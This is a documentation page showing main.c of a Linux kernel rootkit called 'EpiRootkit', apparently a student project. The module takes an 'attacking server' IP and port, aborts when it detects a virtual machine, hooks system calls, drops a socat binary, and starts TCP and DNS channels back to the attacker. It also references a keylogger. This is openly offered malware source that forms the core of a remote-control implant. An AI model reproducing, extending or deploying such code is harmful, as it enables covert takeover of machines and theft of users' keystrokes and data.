main.c

Go to the documentation of this file.

#include "epirootkit.h"
#include "init.h"
#include "passwd.h"
#include "vanish.h"
 
char *ip = SERVER_IP;
int port = SERVER_PORT;
 
module_param(ip, charp, 0644);
module_param(port, int, 0644);
 
MODULE_PARM_DESC(ip, "IPv4 of attacking server");
MODULE_PARM_DESC(port, "Port of attacking server");
 
static int __init epirootkit_init(void) {
    DBG_MSG("epirootkit_init: trying to load module...\n");
 
    if (VANISH && is_running_in_virtual_env()) {
        ERR_MSG("epirootkit_init: nooope, you should not pass\n");
        return -FAILURE;
    }
 
    if (init_interceptor() != SUCCESS) {
        ERR_MSG("epirootkit_init: failed to init interceptor\n");
        return -FAILURE;
    }
 
    if (drop_socat_binaire() != SUCCESS) {
        ERR_MSG("epirootkit_init: failed to drop socat binary\n");
        return -FAILURE;
    }
 
    if (start_network_worker() != SUCCESS) {
        ERR_MSG("epirootkit_init: failed to start network worker\n");
        return -FAILURE;
    }
 
    if (start_dns_worker() != SUCCESS) {
        ERR_MSG("epirootkit_init: failed to start DNS worker\n");
        ERR_MSG("epirootkit_init: rootkit will try to use tcp to communicate\n");
    }
 
    if (passwd_load() != SUCCESS) {
        DBG_MSG("epirootkit_init: no password to load, using default\n");
    }
 
    DBG_MSG("epirootkit_init: module loaded (/^▽^)/\n");
    return SUCCESS;
}
 
static void __exit epirootkit_exit(void) {
    stop_dns_worker();
    stop_network_worker();
    remove_socat_binaire();
    epikeylog_exit();
    exit_interceptor();
    close_worker_socket();
 
    DBG_MSG("epirootkit_exit: module unloaded (/^▽^)/\n");
}
 
module_init(epirootkit_init);
module_exit(epirootkit_exit);
 
MODULE_LICENSE("GPL");                       // Hmmmm...
MODULE_AUTHOR("STDBOOL");                    // Us
MODULE_DESCRIPTION("EpiRootkit De La Mama"); // Need to change ?